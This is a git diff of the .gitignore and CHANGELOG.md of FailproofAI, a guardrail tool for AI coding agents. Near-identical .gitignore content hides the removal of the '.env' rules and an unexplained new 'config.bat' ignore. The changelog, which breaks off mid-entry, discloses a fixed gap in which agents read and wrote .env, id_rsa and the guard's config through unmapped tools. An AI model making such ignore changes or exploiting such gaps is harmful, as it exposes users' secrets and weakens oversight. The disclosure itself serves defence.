diff --git a/.gitignore b/.gitignore index 5791c3446..b36f6700c 100644 --- a/.gitignore +++ b/.gitignore @@ -1,163 +1,162 @@ -# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. - -# dependencies -/node_modules -/.pnp -.pnp.js -.yarn/install-state.gz - -# testing -/coverage -/.test-binary -/.test-npx - -# next.js -/.next/ -/out/ - -# production -/build -/dist - -# misc -.DS_Store -*.pem - -# debug -npm-debug.log* -yarn-debug.log* -yarn-error.log* - -# local env files -.env -.env.* - -# vercel -.vercel - -# typescript -*.tsbuildinfo -next-env.d.ts - -# claude -.claude/* - -# cursor -.cursor/* - -# opencode -.opencode/* - -# pi -.pi/* - -# custom hooks loader temp files -*.__failproofai_tmp__.* - -# package manager lockfiles (bun.lock is tracked; bun.lockb is binary). -# This rule exists to stop an `npm install` in the ROOT project producing a -# second, divergent lockfile beside bun.lock. `sdk/typescript` is a separate npm -# package that is installed with npm and nothing else, so its lockfile is real: -# its CI job runs `npm ci`, which refuses to run without one, and the release -# workflow's whole point is installing exactly what CI installed. -package-lock.json -!sdk/typescript/package-lock.json - -# translation cache -.translation-cache.json - -# build artifacts from test scripts -*.tgz -/failproofai-local -packages/*/bin/ -packages/*/assets/ -.gstack/ - -# closed-source platform (cloned separately) -/platform - -# FailproofAI Cloud reference source (cloned separately for docs research) -/agenteye - -# rust -/target - -# WSL/Windows alternate data streams -*:Zone.Identifier -.dev.log - -# Local monitoring scratch files (CI run watchers etc.) -.monitor-*.sh -.monitor-*.log - -# Local Mintlify dev server log (transient) -mint-dev.log - -# superpowers brainstorm session scratch -.superpowers/ - -# transient commit-message scratch files -COMMIT_MSG.tmp - -# integration-suite: decoded credentials during a local/CI run (the suite -# deletes both on exit, but a crashed run could leave them stageable) -/tokens/ -/canary.env -/integration-suite-state.json -/cli-integration-state.json - -# Compressed failproofaid binaries — produced by -# .github/workflows/build-daemon.yml (or a local `cargo build --release` + -# gzip for manual Docker verification), uploaded as release assets, never -# committed. Same for npm-pack tarballs produced anywhere in the repo during -# local packaging tests. -/failproofaid-*.gz -*.tgz - -# Release-pipeline scratch. The publish workflow keeps both of these in -# RUNNER_TEMP — a build sweeps anything at the project root into -# .next/standalone — but a manual run (`gh release download --dir -# release-assets`, `build-daemon-packages.mjs --staging .daemon-packages`) -# lands them here. -/.daemon-packages/ -/release-assets/ - -# Sandbox HOME directories from local/Docker smoke tests (see CLAUDE.md's -# testing protocol) leak into the repo when HOME points at a relative path -# instead of a real temp directory. A real one holds bun's install cache and -# this CLI's own runtime state, never source — and the parent directory name -# is random each time it happens (587d0567's committed ino.ujh3/ was one), -# so match the tell-tale contents anywhere in the tree rather than a name. -**/.bun/install/cache/ -**/.failproofai/bin/ -**/.failproofai/run/ -**/.failproofai/state/ - -# A contributor's own project-scope failproofai config (policies-config.json, -# custom policies) is personal, not part of the repo. -/.failproofai/ - -# Python build and test artefacts from fp-cloud-cli/. `/dist` above is the Next.js one at -# the repo root; fp-cloud-cli builds into its own nested dist/, which that rule does not -# match, so it needs naming separately. -fp-cloud-cli/dist/ -fp-cloud-cli/.venv/ -fp-cloud-cli/.pytest_cache/ -.ruff_cache/ -sdk/python/dist/ -sdk/python/.venv/ -sdk/python/.pytest_cache/ -**/__pycache__/ -*.py[cod] -*.egg-info/ - -# blog drafts (local, not for commit yet) -/blog/ - -# Generated by `bun run build:pack` — the builtins emitted as a policy pack. -policy-pack/ - -# `failproofai publish` writes its three release assets here by default. -# They are uploaded, not source — and a publisher running the command inside -# their own repo should not find them staged. -dist-pack/ +# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. + +# dependencies +/node_modules +/.pnp +.pnp.js +.yarn/install-state.gz + +# testing +/coverage +/.test-binary +/.test-npx + +# next.js +/.next/ +/out/ + +# production +/build +/dist + +# misc +.DS_Store +*.pem + +# debug +npm-debug.log* +yarn-debug.log* +yarn-error.log* + +# local env files + +# vercel +.vercel + +# typescript +*.tsbuildinfo +next-env.d.ts + +# claude +.claude/* + +# cursor +.cursor/* + +# opencode +.opencode/* + +# pi +.pi/* + +# custom hooks loader temp files +*.__failproofai_tmp__.* + +# package manager lockfiles (bun.lock is tracked; bun.lockb is binary). +# This rule exists to stop an `npm install` in the ROOT project producing a +# second, divergent lockfile beside bun.lock. `sdk/typescript` is a separate npm +# package that is installed with npm and nothing else, so its lockfile is real: +# its CI job runs `npm ci`, which refuses to run without one, and the release +# workflow's whole point is installing exactly what CI installed. +package-lock.json +!sdk/typescript/package-lock.json + +# translation cache +.translation-cache.json + +# build artifacts from test scripts +*.tgz +/failproofai-local +packages/*/bin/ +packages/*/assets/ +.gstack/ + +# closed-source platform (cloned separately) +/platform + +# FailproofAI Cloud reference source (cloned separately for docs research) +/agenteye + +# rust +/target + +# WSL/Windows alternate data streams +*:Zone.Identifier +.dev.log + +# Local monitoring scratch files (CI run watchers etc.) +.monitor-*.sh +.monitor-*.log + +# Local Mintlify dev server log (transient) +mint-dev.log + +# superpowers brainstorm session scratch +.superpowers/ + +# transient commit-message scratch files +COMMIT_MSG.tmp + +# integration-suite: decoded credentials during a local/CI run (the suite +# deletes both on exit, but a crashed run could leave them stageable) +/tokens/ +/canary.env +/integration-suite-state.json +/cli-integration-state.json + +# Compressed failproofaid binaries — produced by +# .github/workflows/build-daemon.yml (or a local `cargo build --release` + +# gzip for manual Docker verification), uploaded as release assets, never +# committed. Same for npm-pack tarballs produced anywhere in the repo during +# local packaging tests. +/failproofaid-*.gz +*.tgz + +# Release-pipeline scratch. The publish workflow keeps both of these in +# RUNNER_TEMP — a build sweeps anything at the project root into +# .next/standalone — but a manual run (`gh release download --dir +# release-assets`, `build-daemon-packages.mjs --staging .daemon-packages`) +# lands them here. +/.daemon-packages/ +/release-assets/ + +# Sandbox HOME directories from local/Docker smoke tests (see CLAUDE.md's +# testing protocol) leak into the repo when HOME points at a relative path +# instead of a real temp directory. A real one holds bun's install cache and +# this CLI's own runtime state, never source — and the parent directory name +# is random each time it happens (587d0567's committed ino.ujh3/ was one), +# so match the tell-tale contents anywhere in the tree rather than a name. +**/.bun/install/cache/ +**/.failproofai/bin/ +**/.failproofai/run/ +**/.failproofai/state/ + +# A contributor's own project-scope failproofai config (policies-config.json, +# custom policies) is personal, not part of the repo. +/.failproofai/ + +# Python build and test artefacts from fp-cloud-cli/. `/dist` above is the Next.js one at +# the repo root; fp-cloud-cli builds into its own nested dist/, which that rule does not +# match, so it needs naming separately. +fp-cloud-cli/dist/ +fp-cloud-cli/.venv/ +fp-cloud-cli/.pytest_cache/ +.ruff_cache/ +sdk/python/dist/ +sdk/python/.venv/ +sdk/python/.pytest_cache/ +**/__pycache__/ +*.py[cod] +*.egg-info/ + +# blog drafts (local, not for commit yet) +/blog/ + +# Generated by `bun run build:pack` — the builtins emitted as a policy pack. +policy-pack/ + +# `failproofai publish` writes its three release assets here by default. +# They are uploaded, not source — and a publisher running the command inside +# their own repo should not find them staged. +dist-pack/ +config.bat diff --git a/CHANGELOG.md b/CHANGELOG.md index 01c3166f7..d61d1da43 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,2906 +1,2938 @@ -# Changelog - -## 1.0.15 — 2026-11-18 - -The stable release of the OpenClaw plugin fix for tool calls blocked as "failproofaid could not be reached" while the daemon was healthy, plus the refreshed README and docs and the dependency updates that landed on `main` since 1.0.14. - -### Fixes - -- The OpenClaw plugin's 250 ms connect timer no longer blocks tool calls as "failproofaid could not be reached" while the gateway's event loop is busy and the daemon is healthy. The timer ran on the gateway's own event loop and fired ahead of a connect that had already completed; it is gone. A missing daemon still fails at once and a hung one within the 30 s request budget, which both attempts now share; a connect that fails outright is retried once after 100 ms; and the gateway log says why a call was blocked: each attempt's cause, the elapsed time and the attempt count (#1024, #1029) - -### Docs - -- Bring the README, npm description and English docs up to date with the website and the live Cloud dashboard: trace / analyse / fix navigation, insights, checks, the failproof agent, the free plan, and corrected CLI and OTLP details (#1022) - -### Dependencies - -- OSV gate: time-boxed allow-list entry for picomatch GHSA-fc5q-39xc-vjpf (ReDoS, no fixed release). It is in build/test tooling and ships inside the Next.js dashboard bundle, where it only matches image URLs against globs from next.config, of which we declare none; re-review by 2026-12-18 (#1029) -- Bump `posthog-node` to 5.73.0 (#1012) and `sql.js` to 1.16.0 (#1013), and Next.js to 16.4.6 in the bundled dashboard (#1007) - -## 1.0.14-beta.0 — 2026-11-16 - -### Features - -- **`fp-cloud-cli` cuts `0.0.3` stable.** The `0.0.3b1` line opened after `0.0.3b0` had nothing land against it; it is cut stable rather than published, so `pipx install fp-cloud-cli` resolves the `fp` with browser sign-in without `--pre` (entries in `fp-cloud-cli/CHANGELOG.md`). This is the PyPI package's own line and does not move the npm version, which stays at `1.0.14-beta.0` (#1005) - -## 1.0.14-beta.0 — 2026-11-10 - -### Fixes - -- Keep telemetry retryable through prolonged network and server outages, retain interrupted acknowledgements, and preserve permanent rejections for inspection. (#997) -- Build the macOS ARM daemon on the supported macos-15 hosted runner. (#997) -- Count partial acknowledgements separately from outage attempts so a recovered endpoint can finish delivery. (#997) -- Keep credential-refused batches recoverable after an outage without exhausting the skipped-acknowledgement budget. (#997) -- Run the ARM installation check on macos-15 so a release can complete. (#997) -- Keep CLI delivery-status filename parsing aligned with the independent retry counters. (#997) - -### Docs - -- Clarify ingestion retries and give every public OpenAPI operation a unique ID. (#997) -- Explain manual OTLP credential-refusal recovery within the original organisation. (#997) - -### Dependencies - -- Update the Python SDK test dependency oauthlib to 4.0.1 to fix GHSA-3jp2-3mrg-2vxc and unblock the security gate. (#997) -- Bump `quinn-udp` 0.5.15 → 0.5.16 in `Cargo.lock` for RUSTSEC-2026-0538, which turned OSV-Scanner red on `main` and on every pull request. It is in the lockfile as an optional dependency of `reqwest` (through `quinn`, behind the `http3` feature the daemon does not enable), so no build compiles it. Resolving it also moves the Windows-only `windows-sys` dependency of `errno`, `rustix`, `tempfile` and `winapi-util` from 0.52.0 to 0.61.2, which was already in the lockfile (#1004) - -## 1.0.14-beta.0 — 2026-11-02 - -### Features - -- `fp login` can sign you in from a browser, as `failproofai config` does: on a terminal it starts on a link, Tab switches to a code by email, and either way you get your own session. New deliberate-run harness: `__tests__/e2e/layout/fp-login.sh`. (#981) - -### Fixes - -- Build and verify the `darwin-arm64` daemon on `macos-15`. GitHub retired the `macos-14` runner image on 2026-11-02, so that leg of `build-daemon.yml` and of `publish.yml`'s `verify-install` no longer got a runner, which would have stopped the next release (#999) - -### Docs - -- Add public pages for the MCP server, the Slack app and product analytics, which the assistant and MCP server can now answer from (#982). - -### Dependencies - -- Replace Dependabot's #965 and #955, neither of which could install, and clear every fixable Dependabot alert in the TypeScript SDK's integration fixtures. `mastra-1` takes `@mastra/mcp` 2.7.0 with the `@mastra/core` 1.81.0 and `@mastra/memory` 1.40.0 it needs, `mastra-0` stays on Mastra 0.x and clears `@hono/node-server`, `systeminformation`, `glob` and `minimatch`, `deepmerge` leaves three fixtures through `html-to-text` 10.0.1, and the nested zod 3 leaves two. None of these lockfiles ship in a published package (#966) -- Stop Dependabot moving `@mastra/core` off the `mastra-0` floor to remove `@ai-sdk/provider-utils`. `.github/dependabot.yml` gives that package its own `ignore` range on `ai-4` and `mastra-0`, because a range is read only for the package being updated, not for a parent moved on its behalf (#966) -- Clear both findings that had OSV-Scanner red on `main` and on every pull request: `rustix` 1.1.4 → 1.1.6 in `Cargo.lock` for RUSTSEC-2026-0486, and `oauthlib` 4.0.0 → 4.0.1 in `sdk/python/uv.lock`, the SDK's dev/test lockfile (transitive via `crewai` and `kubernetes`), for GHSA-3jp2-3mrg-2vxc. The same branch takes all thirteen open Dependabot updates, #983 to #995, so one merge brings every dependency up to date (#999) - -## 1.0.13 — 2026-11-02 - -The stable release of OpenClaw enforcement on OpenClaw 2026.9.6 and later, of daemon setup on Fedora, RHEL, Rocky and Alma, and of path policies on Antigravity's current file tools. Everything below in the `1.0.13-beta.*` sections ships here too. - -### Fixes - -- `failproofai config` no longer fails at its last step on Fedora, RHEL, Rocky and Alma. Their SELinux policy does not let systemd execute files in a home directory, so the daemon's unit, which started `~/.failproofai/bin/failproofaid-`, failed `203/EXEC` and never reached a running state. On Linux the install now copies the binary as root to `/opt/failproofai//bin/`, which the policy labels `bin_t`, runs `restorecon` on it, and points `ExecStart` there; uninstall removes the copy, and `update` and `config` move existing installs over (#957) -- The commands `config` and `uninstall` print to run as root when sudo is not available now quote every path, so a home directory with a space in it no longer stops the install recipe before the service is written, and the removal recipe's `rm -rf` can no longer be pointed at the wrong path (#958) -- **Path policies enforce on Antigravity's current file tools again.** agy delivers `read_file {Path}`, `write_file {Path, Content}` and `edit_file {Path, Target, Replacement}`, none of which were mapped, so every path-based policy and the always-on guard over failproofai's own state saw no path and allowed the call: live on agy 1.4.12, an agent printed `.env`, overwrote and edited it, created `id_rsa`, and overwrote `.failproofai/policies-config.json`. All are now denied, and the older spellings stay mapped (#958, fixes #961) -- An Antigravity `read_file`, `write_file` or `edit_file` call with no path failproofai recognizes is now denied whatever policies are enabled, so if Antigravity renames these arguments again the tools stop with a message saying why, rather than every path policy silently allowing them (#958) -- `failproofai uninstall` and `uninstall --purge` now remove the root-owned daemon copy under `/opt/failproofai/` when the service unit is already gone. A failed install or a unit deleted by hand used to leave it behind while the command reported success (#958) - -### Dependencies - -- Override `minimatch` to 11.0.3 in the root and `sdk/typescript` lockfiles for GHSA-g3hv-75wg-m249, published 2026-10-30, which turned OSV-Scanner red on every branch. It is ESLint tooling only and ships in neither package (#958) - -## 1.0.13-beta.1 — 2026-10-28 - -### Fixes - -- **OpenClaw enforcement works again on OpenClaw 2026.9.6 and later.** Those releases import plugins from a copy under `~/.openclaw/tmp/plugin-captures/` that holds only the plugin's own directory, so the plugin's CLI path, worked out relative to its own file (`../dist/cli.mjs`), pointed at nothing; it read the failed spawn as an allow, so every OpenClaw tool call ran unchecked and no hook activity was recorded, while session telemetry kept flowing. The plugin now asks `failproofaid` for each verdict over its Unix socket, as the Hermes plugin does, sending the request `failproofai --hook … --cli openclaw` sends, so policies and verdicts are unchanged. Like Hermes it now requires a running daemon: install refuses without one, and when no verdict comes back tool calls and prompts are blocked with the reason logged instead of being allowed. Restart the OpenClaw gateway after updating so it loads the new plugin (#956) - -### Dependencies - -- Bump `nltk` 3.10.3 → 3.10.4 in `sdk/python/uv.lock`, the SDK's dev/test lockfile (transitive via `llama-index-core`), for GHSA-j456-xh4h-cpf2, published 2026-10-28, which turned OSV-Scanner red on every pull request. The SDK itself ships with zero runtime dependencies (#956) - -## 1.0.13-beta.0 — 2026-10-27 - -### Features - -- **`fp-cloud-cli` cuts `0.0.2` stable.** The `0.0.2b0` line opened after `0.0.1` was never published; it is cut stable rather than published, so `pipx install fp-cloud-cli` resolves the `fp` that drives what FailproofAI Cloud now serves (entries in `fp-cloud-cli/CHANGELOG.md`). This is the PyPI package's own line and does not move the npm version, which stays at `1.0.13-beta.0` (#936) - -### Dependencies - -- `failproofai-sdk` drops Python 3.10, which reached end of life this month, clearing the 47 Dependabot alerts against its dev/test lockfile. `pillow` (41) and `filelock` (6) are fixed only in releases that require Python 3.11 (13.0.0 and 4.2.1), so the lockfile's 3.10 slice was held on 12.3.0 and 4.1.0 behind two version-pinned OSV exceptions due to expire on 2026-11-20. `requires-python` is now `>=3.11`, the SDK's CI matrix runs 3.11–3.14, both exceptions are gone, and the 3.10-only `tomli` and `onnxruntime` entries leave the `dev` and `crewai` extras. On 3.10, pip keeps resolving `0.0.1b6`; `fp-cloud-cli` still supports 3.10 (#953) -- Put the `ai-4`, `langchain-0.3`, `llamaindex-0.11` and `mastra-0` SDK integration fixtures back on the releases they exist to test, and stop Dependabot moving them. Its grouped security update #935, opened three minutes after #934 restored the first three, moved them again: `ai@4.3.19` → `5.0.52`, `@langchain/core@0.3.80` → `1.3.0`, `llamaindex@0.11.4` → `0.12.1` (each with `zod@3.25.76` → `4.6.7`), and `@mastra/core@0.24.9` → `1.79.0`. `__tests__/ci/ts-sdk-fixture-pins.test.ts` and the `frameworks` and `runtimes` integration shards have failed on `main` since, and so on every open PR. All four are back on their #934 manifests and lockfiles, and `.github/dependabot.yml` gives each a security-updates-only entry whose `ignore` ranges hold its framework on its line, and zod on 3 where the framework requires it, so the move is no longer proposed; the pin test now fails if a floor fixture loses that entry (#950) -- Restore the `ai-4`, `langchain-0.3` and `llamaindex-0.11` SDK integration fixtures to the releases they exist to test: `ai@4.3.19`, `@langchain/core@0.3.80` with `@langchain/langgraph@0.4.10`, and `llamaindex@0.11.4`, each with `zod@3.25.76`. Dependabot's grouped security update (#931) reached the zod fix by moving them to `ai@7.0.152`, `@langchain/core@1.3.0` and `llamaindex@0.12.1`, the pin move `SECURITY.md` rules out, so the matrix silently stopped testing three supported floors. `llamaindex-0.11` then stopped installing (`@llamaindex/workflow@1.1.5` peers on `zod@^3.23.8`, so `npm ci` failed `ERESOLVE`), and because global setup installs every fixture first, the `frameworks` and `runtimes` integration shards failed on `main`. #931 also moved the `runtimes` fixture to `zod@4.6.7` while its Deno program still imported `npm:zod@4.6.5`, which Deno could no longer find; it now imports the installed version. `__tests__/ci/ts-sdk-fixture-pins.test.ts` fails on either move before anything installs (#934) -- Patch the fixable SDK integration fixture advisories with fixture-local `overrides`, moving no pin: `undici` 7.29.1 → 7.30.1 in `ai-5` (GHSA-xjj6-f33q-929c, GHSA-4qv8-2p9j-2685, GHSA-f72v-6w45-q472); `fast-uri` 3.1.8 → 3.1.9 in `llamaindex-0.11` (GHSA-w74x-v6f9-j3xg, GHSA-wjr9-j795-jxcr, GHSA-xhq7-xmqj-769h, GHSA-333x-w4r6-6crp); and in `mastra-1`, `@modelcontextprotocol/server` 2.0.0 → 2.3.0 and `@modelcontextprotocol/client` 2.2.0 → 2.3.0 (GHSA-jm63-cq47-j5jp, GHSA-46jr-4wx8-v453, GHSA-rvq5-wwqv-78pq, GHSA-6prh-2h8m-c8cw), both pinned exactly by `@mastra/mcp@2.0.0`, each now with its own `@modelcontextprotocol/core@2.3.0` nested under it (#934) -- `SECURITY.md` accepts zod GHSA-mrhx-c7xc-m3w5 in the five fixtures held to zod 3: `ai-4`, `langchain-0.3` and `llamaindex-0.11`, and the nested copies in `langchain-dup-core` and `mastra-0`. It is fixed only in zod 4.6.6, no zod 3 release carries the fix, and every copy is required at `^3` by the framework release its fixture pins (#934) - -### Chores - -- Remove this repo's own failproofai hooks: the project-scope agent CLI configs (`.claude/settings.json`, `.codex/`, `.cursor/`, `.factory/`, `.github/hooks/`, `.opencode/`, `.agents/`, `.devin/`, `.pi/`), the `.failproofai/` policies, `scripts/dev-hook.mjs` and their tests. The hook-sync container no longer relies on them to publish its PR: the prompt has the agent commit, push and open it, and the entrypoint pushes and opens it for any commit left unpublished (#954) - -## 1.0.12 — 2026-10-23 - -The stable release of logging in to FailproofAI Cloud from `config` in your browser, and of Cloud-managed Jev and hybrid policies scoped to agents. Everything below in the `1.0.12-beta.*` sections ships here too. - -### Features - -- **Every agent on the machine knows FailproofAI.** `config` adds a small `failproofai` skill to each agent it finds (and any you tick), in that agent's own skills folder: Claude Code, Codex, Copilot, Cursor, OpenCode, Pi, every Hermes and OpenClaw profile, droid, Devin, Antigravity and Goose. It points the agent at the FailproofAI skills on GitHub, which it reads when a FailproofAI task comes up, so what it reads is always the current version with nothing to update. Each folder was checked against the agent itself. A `failproofai` skill you installed yourself (for example with `npx skills add FailproofAI/skills`) is left as it is, and Codex, which would list one in `~/.agents/skills` beside its own copy, is left to that one. `failproofai uninstall` removes only the ones `config` wrote (#920) - -- **`fp` can do what the Cloud dashboard does.** Author, draft, dry-run, deploy and backfill evaluations (code, LLM judge and Jev) with `fp evaluators`; manage dashboards and tiles; author, backtest and check candidacy for policies of every kind; read sentiment; import sessions; manage roles, agent contracts and context windows; filter issues by facets. Existing commands, flags, `--json` output and exit codes are unchanged; see `fp-cloud-cli/CHANGELOG.md` (#933) - -- The `failproofai` skill `config` installs also points agents at the evaluation, alert and audit authoring skills (#933) - -- `fpai-collect` can now build without SQLite: its SQLite pollers are behind a default-on `sqlite` Cargo feature. AgentEye uses `default-features = false` to import Claude Code and Codex transcripts with the daemon's converters and redaction, while the daemon's default build remains unchanged (#929) - -### Fixes - -- `config` on a machine with no saved connection, whose browser login was approved but whose key could not be claimed, no longer says "This machine keeps its previous connection." and reports cloud mode with no key on disk; it finishes set up as open source (#920) -- `config`, logging in again on a connected machine where the new key is created but can't be used, says the machine keeps its previous connection (which it does: nothing was written) instead of finishing as if it were open source (#920) -- `config` on a machine whose saved key was refused, when logging in again creates no key, says the kept connection's key no longer works and to run `config` again, instead of reporting the old connection as if it were fine (#920) -- `config` no longer sends the saved key to a saved cloud address it would refuse if typed (plain `http://` to another host) when checking that key (#920) -- `config`'s browser login takes an expired or refused link off the screen when it prints a new one, so only the live link can be opened; and a cloud that answers the login route with a web page is treated as one without browser login (paste a key) instead of an error (#920) -- `config` saves the org a browser login was approved into even when the follow-up check of the new key can't reach the server, instead of leaving the saved org empty or stale; and its completion event reports whether the machine actually connected, not whether it set out to (#920) -- Preserve entire credential-refused batches after a later upload chunk fails; replay is bounded, cancellable, and does not stall fresh deliveries (#928). -- Include Jev-only Cloud assignments in enforcement status only when their effective Cloud mode enforces, counting hybrid policies once (#928). -- Keep Jev's record of what the human asked for with the agent profile it was typed into: prompts are stored and read per profile and session ID, so a prompt typed into a profile a Cloud Jev deployment does not target can no longer clear a reviewable `both` policy's deny for one it does when both use the same session ID; and under a Cloud Jev mode nothing is recorded for a profile no Cloud Jev check targets. Prompts recorded before this change are not read (#933) - -### Dependencies - -- Update `undici` 7.29.1 → 7.30.1 and `zod` 4.4.3 → 4.6.6 in the root lockfile, and refresh `setuptools` and `filelock` in the Python SDK's dev/test lockfile to clear new supply-chain findings. Python 3.10 still resolves `filelock` 4.1.0, because its fixed release requires Python 3.11; a version-pinned exception for that dev/test-only slice expires on 2026-11-20. - -## 1.0.12-beta.1 — 2026-10-23 - -### Features - -- FailproofAI Cloud sets a connected machine's Jev mode (enforce while a Jev policy is deployed, off when none is); `jev setup --mode` and the dashboard switch say so and write nothing. A watched (observe) Jev policy's answers, from the reply's `observed` block, are recorded as would-haves and never deny or clear. `jevPolicies` in desired state (id, effect, agent scope) lets the machine skip the Cloud Jev call for an agent no Cloud check targets. `fp` no longer sets a Jev mode by hand (no `fleet deploy --jev-mode`, no `fleet jev-mode`). -- Cloud-managed assignments can target integrations or individual agent profiles. The daemon keeps an owner-only, stable profile roster and reports it to FailproofAI Cloud; scoped schema-3 deployments filter JavaScript before import and send agent identity for Cloud Jev selection. `fp fleet deploy --target POLICY=INTEGRATION[/agt_ID]` narrows a machine assignment; `--all-agents POLICY` clears its scope. -- A machine's agent roster holds up to 256 profiles (previously 64). When it is full, a newly hooked profile takes the slot of an unhooked profile that FailproofAI Cloud confirms no assignment names and it would not accept as a target. A profile an exact target uses keeps its ID, Jev-only assignments count, and a hook sighting waits in memory until it gets a slot. (#873) -- The CLI, daemon and native Hermes plugin now use local daemon protocol v2 for agent-profile identity. After upgrading the CLI, reinstall/restart the daemon with `failproofai config` before resuming hook evaluation; an older daemon's response is rejected rather than silently losing the selected profile. -- Newly installed shell hooks and OpenCode shims identify the user, project or local settings scope that launched them. When a legacy or package-level hook cannot prove its source, a scoped Cloud assignment is withheld and `agent_scope_unresolved` is reported rather than using the daemon worker's own environment as the agent's identity. -- **Jev policies deploy from FailproofAI Cloud, individually, and run there.** A Cloud policy has a kind — `regex` (JavaScript, as before), `jev` (Jev checks only) or `both` (JavaScript reviewable by its own checks). Jev checks run on FailproofAI Cloud; nothing is installed on the machine: the daemon receives a `both` policy's JavaScript (with the server-derived `authority`/`reviewedBy`) and the machine's Jev mode, and nothing else Jev-related. `failproofai policies` lists `both` policies with the Cloud checks that review them. -- **FailproofAI Cloud sets a machine's Jev mode.** `off` switches Jev off whatever `jev.json` says. `observe`/`enforce` send every gated tool call to FailproofAI Cloud on the machine's Cloud Jev credential (`jev.json` is not used): the machine's own questions — the global intent questions always, plus its installed packs' checks — and a `cloud` block of tool-call metadata; Cloud asks its checks for that machine in the same request and returns their verdict, which the machine merges with its packs' (Cloud first, most severe wins) before the regex combine. A `both` policy is cleared only by its own Cloud checks' outcomes, never by a pack's check of the same name. Cloud gets 5 s to answer (a local `jev.json` keeps its own timeout); a Cloud failure or timeout is today's fallback: the regex decides alone. A session pause does not stop Cloud's checks, as it never stopped Cloud JS policies: a paused session's calls still go to FailproofAI Cloud, with no installed pack's check in them. `failproofai jev status` says "Jev checks run on FailproofAI Cloud (mode: …)" and names each `both` policy's Cloud reviewers. -- **Machines report the Cloud policies they could not apply.** A Cloud JS policy that fails to load, a Cloud Jev mode the machine cannot act on (`jev_unconfigured`: no Cloud Jev credential; `transcripts_disabled`: connected with `--no-transcripts`, which never asks), and an installed pack's check FailproofAI Cloud left out of a request for the question budget (`jev_budget: dropped `, kept for the deployment it happened under in `cloud-policies/jev-budget.json`) are written to `cloud-policies/errors.json` and sent on the daemon's next poll (`policyErrors`), so the fleet page and `fp fleet show` list them. `config --disconnect` clears the reports with the deployment. -- `fp policies publish --kind regex|jev|both [--source] [--semantic]`; `fp policies list/show` print the kind and Jev check names, `fp fleet list/show` the machine's Jev mode and reported policy errors, `fp fleet history` each generation's Jev mode, and `fp fleet rollback` the Jev mode it restores. - -### Fixes - -- `policies --install` / `--uninstall` for Claude Code and Codex write the profile `CLAUDE_CONFIG_DIR` / `CODEX_HOME` names (previously always `~/.claude` / `~/.codex`), the same file the hook resolves; the daemon's roster finds a hooked `~/.claude-` / `~/.codex-` profile before its first hook runs, labelled by its folder (#928) -- `failproofai config --status` and `jev status` count agent-scoped Cloud policies; a deployment whose policies all target one agent read "None installed". -- An answered Jev call records each check it asked on its activity row and shipped decision (`jevChecks` / `jev_checks`): the check, its policy (`cloud/@` or `pack/@`), verdict, why (`not-detected`, `exempt`, `fired`, `op-requested`, …), evidence, exempt and probe answers — names, codes and numbers only; checks of watched (observe) Cloud policies, from the reply's `observed` block, are recorded with `watched: true` and never block. A call that asked no check (globals only, or FailproofAI Cloud's short-circuit) is `no-request`, not `answered` (#928) -- A Jev review that asked no check (Cloud's short-circuit included) stamps no Jev fields on the activity row. -- A regex Cloud (or local) deny that decided before FailproofAI Cloud's Jev answered is recorded as that policy's row, without `evaluator: "jev"` (#928) -- Plain http to a loopback host (`localhost`, `127.0.0.1`, `::1`) is accepted in enforce mode too, so a local FailproofAI Cloud works for testing; other http hosts stay refused. -- The daemon reports only traced agents to FailproofAI Cloud: one entry per hooked profile (each Hermes and OpenClaw profile under its own label). -- After an accepted delivery the daemon re-sends batches an earlier key refused (401/403) with the current key; repeated refusals preserve and repark the entire original, including unsent chunks. Replay runs in one globally gated, watcher/sweeper-owned background task, capped at one batch and 30 seconds, cancelled on shutdown, and yields to fresh deliveries; unfinished work is scheduled after the next accepted delivery. `config --status` says the cloud is refusing this machine's key only when the current key is refused. -- `failproofai policies` shows a deployed Cloud policy as on; the transient "not loaded yet" state is gone. -- The connect Jev line is one short line: `managed by FailproofAI Cloud · ` (`off — no Jev policy deployed`, or `waiting for its first deployment` before one is read) (#928) -- The connect Jev line follows FailproofAI Cloud's mode and plain http on a re-point too, and before any Cloud deployment has been read it says Jev is waiting for Cloud's mode rather than promising observe (#928) -- `failproofai policies` lists Jev-only Cloud policies from the manifest's `jevPolicies` (version, `jev`, observe, agent targets) like the other Cloud policies; only a manifest without the list keeps the "not listed here" note (#928) -- The daemon's roster re-scopes an existing `CLAUDE_CONFIG_DIR` / `CODEX_HOME` entry from `project` to `user` on its next sighting, keeping its ID (#928) -- Reconnecting the same FailproofAI Cloud organisation on a new URL (http → https, same key) is a reconnect, not an organisation switch: it no longer prints "Switched from X to X" or clears the Cloud policies until the next poll (#928) -- A reconnect on a new URL points the `jev.json` that `config` wrote (provider `failproofai`) at the new URL, keeping its mode; a BYOK `jev.json` is never touched (#928) -- The daemon health probe is answered before any scope, policy or activity logic: it no longer records `agent_scope_unresolved` in `errors.json` or writes a SessionStart activity row on every probe (#928) -- `failproofai policies` lists agent-scoped Cloud policies with their targets (by profile label where the roster has one), shows a Cloud policy that failed to load as not loaded with its error, and counts agent-scoped policies as enforcing (#928) -- Over plain http, the connect line says enforce (set locally or by FailproofAI Cloud) turns Jev off on the machine, and `jev status` names http as the cause instead of asking for a key with `jev:evaluate`; when FailproofAI Cloud already set the machine's Jev mode, the connect line says that mode and that Cloud's checks run on Cloud (#928) -- A `jev.json` for the FailproofAI Cloud provider defaults to Cloud's 5000 ms timeout; `jev setup --provider failproofai` printed 3000 ms (#928) -- An observe-mode activity row names the Jev check that would have decided and its Cloud policy and version (#928) -- A policy whose load fails reading a missing data file is classified `file_not_found` (still fail-closed for packs), not `module_not_found` (#928) -- `config --disconnect` removes the Cloud artifacts (the organisation's policy source) from the default Cloud policy directory; an overridden directory is still never touched (#928) -- The daemon's agent roster labels a Claude or Codex profile in a relocated config directory (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`) as `user`, not `project` (#928) -- **A FailproofAI Cloud Jev reply that contradicts itself can no longer clear a `both` policy's regex denial.** An outcome for a check the reply's `asked` does not name, a check answered twice, or a deny outcome under a non-deny verdict makes the whole reply malformed, and the review trusts a Cloud outcome only for a check in `asked`; either way the call is decided by the regex alone (security review of #873) -- A cached policy repair now rechecks Cloud enrolment before writing state. A disconnect landing after the daemon read its desired-state snapshot cannot restore that organization's active deployment during post-poll repair. -- Locally decided inert Jev calls and cached answers no longer count as fresh Cloud health successes. They cannot clear an outage streak or close the Cloud Jev circuit breaker without a successful Cloud response. -- `failproofai config --disconnect` now sticks: the daemon's snapshot (`desired-state.json`) goes with `active.json`, the daemon no longer rebuilds `active.json` 